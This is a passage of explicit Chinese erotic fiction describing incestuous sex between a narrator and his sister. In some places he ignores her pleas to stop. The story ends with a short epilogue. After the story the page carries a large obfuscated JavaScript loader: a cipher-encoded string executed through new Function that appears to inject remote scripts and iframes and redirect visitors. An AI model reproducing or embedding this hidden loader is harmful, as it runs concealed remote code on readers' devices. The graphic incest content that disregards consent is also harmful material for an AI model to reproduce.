    我才进去一根手指就感到有些寸步难行,一阵热乎乎的软嫩紧紧吸附住了闯
    入的异物,我只能艰难地抽送手指。
    结果,姐姐的小穴立马湿得一塌糊涂,分泌出一股又一股甜滑的爱液,我不
    想浪费,又伸出舌头统统卷入口腹。
    「姐姐,你怎么越尿越多了,嘻嘻。」
    「啊……阿坚……好弟弟……不要了……嗯……啊啊啊……呀……」姐姐在
    我舔弄下已经彻底动了情,她的的呻吟变得悠长,两只丰润的大腿开开合合,雪
    白白的屁股也在不断地摇晃着。
    是时候满足姐姐泛滥成灾的欲望,我知道姐姐现在应该很难受了,更重要的
    我胯下的阴茎也涨得慌。
    我摆正她双腿的位置,然后阴茎划过她饱满的阴户,慢慢对准了那湿漉漉的
    穴口,我甚至可以感到她深处散发出来的潮热。
    「姐姐,我想要你了。」我看向姐姐,认真地对她说道,即将和亲姐姐水乳
    交融,背德的刺激感让我开始紧张,就连快速跳动的心脏都已经麻木了。
    「嗯。」姐姐这次倒是没显得那么放不开,虽然依旧满脸羞涩,但还是大方
    的点了点头,准许了我接下来的行为。
    我深吸一口气,体内浊浪排空,稳定住心神之后,扶着自己的龟头拨开两瓣
    肥美的花瓣,然后在那潮湿的蜜穴撚磨着,始准备正式进入姐姐体内。
    此刻不像是在进行一场见不得光的乱伦,更像是在进行一件神圣而又庄严的
    事。
    可出乎我意料的是,姐姐的穴口或许细窄,好像都缩成了一团嫩肉,任由我
    怎么挤压戳弄,打滑了好几下都没进去,再加上我心情紧张,更是难上加难。
    「小笨蛋,你在梦游呢。」姐姐见我滑稽的样子,突然打趣道。
    「……」我想反驳但无言,关键时刻掉链子,脸上臊热。
    「小傻瓜,好好学着点,在姐姐这儿丢脸没关系,以后有了女朋友,还这么
    傻怎么办……」姐姐风情万种的看了我一眼,但又很快恢复成一种小女生般的羞
    怯。
    她两只大腿向两旁张了张,纤细白的左手抵在自己的小穴上,手指和中指轻
    轻掰开那粉嫩的穴口,然后右手温柔而耐心引导着我的龟头缓缓进入她的体内。
    在姐姐的帮助下,我感到龟头逐渐被一团温热湿嫩的软肉吞没,紧接着的是
    强烈的箍束感,好紧,真的好紧,在爱液的润滑下,整根阴茎终於艰难地与姐姐
    紧窄阴道融为了一体!
    「嘶…………」我深吸一口气,这感觉简直爽翻了天,后腰一阵阵发麻,仿
    佛连灵魂都被姐姐销魂的肉穴吸进去了!
    姐姐的阴道美滚烫无比,紧紧地咬着我侵入的阴茎,好像有一张小嘴在又吸
    又夹,肉壁遍布一道又一道曲折的嫩肉沟壑,在丰沛的爱液带来湿滑作用下,增
    加了异样舒服的摩擦感。
    「嗯啊……」姐姐皱眉,脸上隐约表露出难受感,但是嘴中吐出了动听的悠
    吟。
    我做到了!我竟然真的做到了,彻底进入姐姐的体内!这么多年来,我们姐
    弟俩曾吃在一起睡在一起,但是从来都没有如此深入的亲近,深入到连我们之间
    的距离都成了负数!
    真是后悔竟拖延了这么多年,白白让那混蛋给提前享用了这美妙的肉体!曾
    以为多么不可逾越的禁忌,当终於沖破时才发现原来它是如此不堪一击!这种打
    破禁忌的感觉,使得我更加亢奋!
    我刚想抽动胯下,就感到大片吸附在阴茎上的嫩肉开始蓄势爆发,疯狂吸扯
    着我的阴茎不停地挤压、套弄,爽得我一个踉跄,龟头重重地向花园深处撞去。
    「啊……阿坚,别急……轻一点……」姐姐美丽的大眼睛里噙满了泪水,她
    露出祈求的眼神看着我。
    我心底最柔软的神经虽然被触动了,但很快被巨大的征服感淹没,此刻姐姐
    快乐的神经被我掌握了,她是舒爽、或是痛楚都得任我摆布。
    不去理会姐姐哀婉的表情,我开始凭着动物的本能继续抽送,我终於明白了
    男人真正的乐趣,让心爱的女人毫无保留的献出一切后,再使得她欲仙欲死,欲
    罢不能!
    我是第一次和女人做爱,而且还是我美丽的姐姐,强烈的刺激令我疯狂!但
    我也禁不住太快的节奏,生怕因为没有经验而一不小心就缴械投降,我浅入浅出,
    缓缓适应着姐姐阴道带来的美妙体验。
    每次的挺入都能感受到阴道内层层叠叠的软肉在挤压套弄,顺着龟头的往缩
    拢和挤压,酥麻又带着发痒的感觉让人稍有松懈就会产生想要畅快淋漓输射的沖
    动。
    「嗯哼……」姐姐轻喘,虽然声音微弱,但是对於我而言犹如天籁,她的乳
    房随着呼吸跟着上下起伏,时刻挑战我的精神底线。
    我的双手毫不犹豫结结实实的抓握上去,雪白饱满的乳房被我捏得时圆时扁,
    乳头一刻不停的遭受拧动和按压,我胯下也没闲着,用力挺动抽插着她汁液横流
    的美穴,此刻我对姐姐真是想怎么玩弄就怎么玩弄!
    「嗯……噢噢……啊……嗯啊……」姐姐终於压抑不住呻吟,红唇微张,贝
    齿轻启,断断续续的歌吟如游丝般飘然而出,我能看到她冰雕玉琢的容颜上流淌
    着桃花似的绯红,显得得妩媚万分。
    见她这番模样,心中大喜,难道我让姐姐舒服了?瞬间信心大振,便想着要
    让她更舒服,我们俩的第一次做爱,要让姐姐也满足才算圆满!
    姐姐体内的爱液越来越多,抽送起来愈发顺畅,我低头看向两人性器的交合
    处,黑丛林已经全被浸湿了,姐姐两瓣饱满的粉嫩阴唇正在掩护着我阴茎的柱身,
    我註意到上方那颗米粒般大小的阴蒂已经变得通红,显得娇滴滴的。
    我从姐姐的胸部上腾出一只手出来,往下伸去,用指甲在她的阴蒂上抠动了
    一下,姐姐又是「嗯嗯……啊啊啊……」的娇吟,而且分贝提高了许多,整个曼
    妙玲珑的丰满身材都微微战栗起来。
    姐姐真是太敏感了,难怪平时打闹时那么怕痒,美穴内愈发多的水意,我操
    弄起来也畅快了许多,插入的力度越发用力,看着她每一次皱眉、听着每一声喘
    息,都是无上的享受。
    她也开始彻底享受起我带给她的性爱,眸波流转,红唇鲜艳,千娇百媚,两
    只丰润修长的美腿不知不觉中已经盘上了我的腰,蜜穴里的嫩肉配合着我的抽插
    套弄着我的阴茎,对着彼此互相送出快感。
    「呼……」我长籲一口气,屏住心神,转移註意力,分散阴茎在她美穴内探
    寻到的快感。
    姐姐也不愧是性爱经验丰富的女人,她一认真起来,异样的快感成倍增长我
    根本遭受不住。
    我预感自己在姐姐极品嫩穴的压榨下坚持不了太久,於是拔出阴茎准备换个
    姿势。
    我把阴茎从姐姐紧窄的阴道里抽出,翻带出了粉嫩的穴肉,少许白色粘稠的
    痕迹也有流出,少许液体顺着阴唇流下,而且还发出「啵」的一声清响,像极了
    红酒打开时的声音。
    「你干嘛啊?」姐姐显然也听到这声音,脸上挂着不自然的羞意,同时还有
    露有疑惑,似是在问我为什么突然停下来了。
    「姐姐,转过身去,屁股对着我。」我喘着粗气说道。
    「滚蛋,还想要什么花样?」姐姐笑骂了一下,这和她一向优雅的模样相比
    显得颇为淫荡。
    她这有些漫不经心的模样这可气急了我,看我不好好收拾你,我抄起姐姐两
    只纤细但满是肉感的大腿,将她整个娇躯翻了个面。
    「妈耶,不要啦……」姐姐又是笑盈盈的叫骂着,动作倒是挺配合得我将臀
    部撅了起来。
    姐姐丰满滚翘的圆臀就那样正对着我,其形状的饱满和挺翘就如同一个熟透
    的水蜜桃成熟!我双手按在左右两瓣光滑柔嫩的臀肉上了向两旁扒开,只见一道
    粉嫩的肉缝张开,穴肉正在吞吐蠕动,溢出来的爱液将旁边阴毛汇聚成一缕,这
    是何等淫靡的景色啊……
    我跪在姐姐身后,一手扶着她完美的圆臀,一手扶着肉棒,沿着臀沟向下划
    动,龟头凑巧经过她粉嫩的菊蕾时刺激得她一阵娇颤,然后来到潮湿的穴缝里。
    这次不用姐姐教,我轻车熟路,龟头挤怼了几下,很顺利地就找准位置插进
    了她的阴道内,由於姐姐臀肉的丰满,我从上往下看去,阴茎像是被她雪白的屁
    股吸进去的!
    姐姐美臀高挺迎合着我的抽插,这个像动物原始交配的姿势让我舒服得不行,
    我刚插进去就感到里面的生命力,穴壁内又热又滑的层叠褶皱顺着极滑的爱液吸
    纳吞吐着侵入者。
    我开始抽插享用姐姐这完美的臀型,抽送间勾动着她阴道内的嫩肉一次次鼓
    缩,黝黑的肉棒在雪白的臀部中间进进出出,我的小腹在丰润的雪臀上撞击出一
    层又一层耀眼的肉浪,视觉沖击效果无比的强烈。
    「啪……啪啪……」激烈的肉体清脆的碰撞声和「吱……吱……吱……」床
    体的摇晃声此起彼伏,可见我动作之剧烈,好在姐姐饱满的臀部缓沖了撞击的力
    量,使我感觉没那么疲惫。
    「啊……不行了啊,轻……轻一点……嗯……要死了……臭阿坚……嗯嗯…
    …「姐姐的淫浪呻吟听起来酥麻入骨,她螓首高扬,秀发随着身体晃动妖冶
    摇摆,显然十分享受被后入的感觉。
    我突然加重力气,狠狠地一次撞击,鲜嫩多汁的蜜穴「噗嗤」一声浪花四溅,
    姐姐双手没撑住床面,身子踉跄,还好我及时趴在她的玉背上,手环绕过去抓在
    她的胸前,没让她继续向前扑倒。
    我一边大力的揉搓那两团温软的没肉,一边耸动屁股大力抽插着,对着她尽
    是爱液纵横的热穴狂轰滥炸,发起一次又一次猛烈的攻击。
    我不知疲惫,只想抽插,尽情地在姐姐的美穴抽插,甚至想把自己的一切都
    送入进去!
    「喔……停……停下……喔……啊……」姐姐发出一声高昂的浪吟,反应变
    得剧烈起来,雪白的翘臀剧烈摇摆扭动,想要挣脱我的阴茎,我不知道她这是怎
    么了,但显然不可能在这时候放过她。
    我又是猛烈的抽送几下,姐姐突然像失去了力气一般不再胡乱扭动,但她下
    体却是一阵有力的抽搐,阴道内像是痉挛了一般剧烈紧缩,肉壁狠狠地掐住了我
    的阴茎。
    这无疑给我带来了强烈的刺激感,我已是强弩之末,但还是咬着牙想再坚持
    坚持,结果这时,从姐姐花心深处喷涌出来一股温热的暖流,激打在我的龟头上!
    「嘶……」我倒吸一口凉气,从尾巴骨开始向脊柱传来一阵触电般的酥麻感。
    阴茎变得更加胀大,我不甘心地在那层层叠叠的嫩肉间猛戳了几下,快感呈
    倍增式爆发,终於是坚持不住了。
    「啊!姐姐,我……我要射了!!」我低声嘶吼着,龟头狠狠向姐姐阴道最
    深处的花心撚磨,也来不及考虑姐姐会不会怀孕。
    「啊,阿坚……阿坚……啊……哦哦……」姐姐也不停的喊着我名字,酥软
    的呻吟带着魅惑般的淫靡,让人听了后更加想要蹂躏她!内射她!
    在姐姐美妙的穴肉吮吸下,我的龟头陡然跳跃,马眼一阵紧缩,然后释放,
    一股又一股灼热的液体席卷着道不出的罪恶向着姐姐的子宫口,强有力地喷射而
    出!
    我和姐姐一同瘫软在床上,我脸贴在在她光滑的背上,双方很默契都没说话,
    只剩下了两人的呼吸声,静静的享受着激情过后的温存。
    我心海翻滚,激动而又后怕,难以置信真的跟姐姐做爱了,兴奋和快乐的同
    时,又想起以后的日子不知道该怎么面对,我会不会毁了她的生活……
    激烈的性爱使得双方体温骤高,我盯着她肌肤肌上慢慢渗出的晶莹汗珠,疲
    乏渐渐袭来,我不敢睡去,恐醒来发现这一切只是大梦一场。
    我现在感觉很幸福,姐姐也一定如此吧,只是为何她的呼吸声变得不安……

    尾记
    夜深时,情绪总容易被趁虚而入,心中酸楚,人难眠。
    停下了手中的烂笔头,记忆中最鲜明的光烁终於被敲定成枯涩的文字,一一
    记录了下来。
    这样,不用害怕再深刻的记忆被抹上一层沧桑后,到头来也会淡却了成一道
    浅痕……
    想起那之后的诸多变故,仿佛经历了世事万般的浮沈和进退,脆弱的心动荡
    不已。
    可能这就是因果的流转。
    「这么晚了,还不睡,在写什么呢?」一声温柔的话语,轻轻地飘散了我的
    思绪。
    床头亮起一圈温热的暖黄色灯光,床上坐着一道优雅的倩影,正静静地看着
    我,波澜不惊。
    我也看着她,心头苦郁渐散……
    「没什么,有些模糊的记忆,我想抓住它们。」我笑道。
    或许那些不被认可的,就是我们幸福的形式吧。
    【完】

      
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();